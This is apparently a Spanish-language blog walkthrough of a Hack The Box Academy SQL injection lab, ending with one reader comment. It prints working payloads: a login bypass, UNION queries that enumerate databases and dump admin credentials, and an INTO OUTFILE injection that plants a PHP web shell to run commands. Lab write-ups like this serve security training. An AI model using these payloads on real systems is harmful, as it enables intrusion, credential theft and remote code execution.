Esta vez voy a hacer la prueba final de HTB Academy para el módulo de SQL Injection Fundamentals.
En esta me cuentan que InlaneFreight nos ha contratado para hacer un pentesting de caja gris, centrado en su web y los ataques de inyección de SQL, pues les preocupa el daño que puede hacer un ataque de este tipo a su imagen corporativa.
Ejercicio 1: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.
Esta vez hay un único ejercicio que hacer. Tengo una IP y puerto con la web para hacer las pruebas, así que voy a ello.
Lo primero que veo en su página es que si usamos como usuario o contraseña la comilla simple (‘), el resultado no arroja ningún error, por lo que el método tradicional no parece aplicarse:
Si miro el código fuente, puedo ver que se ejecutan dos javascripts. Uno llamado prefixfree tiene pinta de ser un corrector de estilo en la entrada:
Por otro lado, pruebo a inyectar código SQL para ver si puedo saltarme la contraseña con una condición OR que valide la consulta. Pruebo este código, forzando el OR y comentando el resto de consulta de la web original:
' OR '1'='1'-- -
Y booooom. Cuela:
Aparece otra página con información y un buscador. Es posible que en ese buscador se pueda también inyectar código y quizá recoger resultados de la base de datos.
Cojonudo, pruebo de nuevo con una comilla simple en el buscador (‘), y efectivamente, la consulta casca:
Podemos inyectar código SQL. Pinta bien. Voy a ver primero cuántas columnas tiene la tabla actual con UNION para inyectar consultas más complejas. A base de insertar SELECTS con ORDER BY, veo que hay 5 columnas (a partir de ORDER BY 6 da error):
' ORDER BY 6-- -
Ok, pruebo a ver si sale todo correcto. Vamos a tratar de mostrar 1,2,3,4,5 en las columnas de la web. Coloco también una “a” al principio de la inyección para saltarme los resultados de la tabla original y que se pinten sólo los que me interesan:
a' UNION select 1,2,3,4,5-- -
Funciona perfectamente. Ahora voy a lazar unas pocas consultas para averiguar usuario que estamos usando, la base de datos que estamos leyendo en la web, y luego miraremos las el resto de bases de datos aprovechando el INFORMATION_SCHEMA si tenemos privilegios para hacerlo.
a' UNION select 1,@@version,database(),user(),5-- -
¿Qué te parece? Usan un root como usuario de la base de datos. Hay que ser un poco tonto. En el informe habrá que ponerlo en fosforito para que les de vergüenza. También vemos que es un ubuntu con MariaDB 10.3.22. Ok, me lo apunto. La base de datos en la que está trabajando la web es ilfreigth.
Ahora vamos a ver qué información sacamos de INFORMATION_SCHEMA:
a' UNION select 1,schema_name,3,4,5 from INFORMATION_SCHEMA.SCHEMATA-- -
Aparte de las habituales informatcion_schema, performance_schema y mysql, veo que está la de ilfreight que ya conocemos para la web y otra llamada backup. Esta tiene pinta de chollo. A ver qué contiene:
a' UNION select 1,table_name,table_schema,4,5 from INFORMATION_SCHEMA.TABLES where table_schema='backup'-- -
Joder, me da la risa ver el nombre de la tabla de la base de datos backup. Voy a ver qué columnas contiene:
a' UNION select 1,column_name,table_name,table_schema,5 from INFORMATION_SCHEMA.COLUMNS where table_name='admin_bk'-- -
¡¡¡Venga ya!!! ¿En serio? username y password son las columnas. Pues nada, a leerlas ya mismo.
a' UNION select 1,username,password,4,5 from backup.admin_bk-- -
Bueno, esto parece una copia del usuario admin y contraseña del mismo. Vamos a ver qué privilegios tiene el usuario root en la base de datos. Igual hasta puede escribir ficheros con el privilegio FILE.
a' UNION select 1,super_priv,3,4,5 from mysql.user-- -
Pues sí. Ese Y(es) indica que el usuario es superusuario. A ver el tema FILE:
a' UNION select 1,grantee,privilege_type,is_grantable,5 from information_schema.user_privileges-- -
Ahí lo llevas. Privilegios activados para todo, incluyendo la escritura y lectura de ficheros. Quizá pueda escribir un fichero para ejecutar comandos en un shell.
a' UNION select "",'<
?php system($_REQUEST[comando]); ?
>',"","","" into outfile '/var/www/html/shell.php'-- -
Vaya… lástima. Escribir a ciegas en el directorio por defecto de html en apache da error de permiso denegado. Voy a investigar más. Quizá ese no sea el directorio correcto, o haya otro publicado en web en el que se pueda escribir.
Como veo que la web está en el directorio “dashboard”, voy a probar a escribir el fichero ahí:
a' UNION select "",'<?php system($_REQUEST[comando]); ?
>',"","","" into outfile '/var/www/html/dashboard/shell.php'-- -
¡¡Ehhh!! De PM. No da error. Tiene pinta de que se ha escrito correctamente. Pruebo a correr la página con la variable “?comando=pwd”:
Toma castaña. Funciona. Voy a ver si llego al directorio raíz:
Pues mira que bien. No solo llego, sino que encima hay allí un fichero flag_xxx.txt. Voy a leerlo:
¡Perfecto! Contiene la bandera que busco. La pongo en el campo de resultado del ejercicio ¡y listo! Otro módulo de la Academia de Hack de Box completada. Me encanta esta web ^^
Peter kalmar dice
How can I go to the root directory?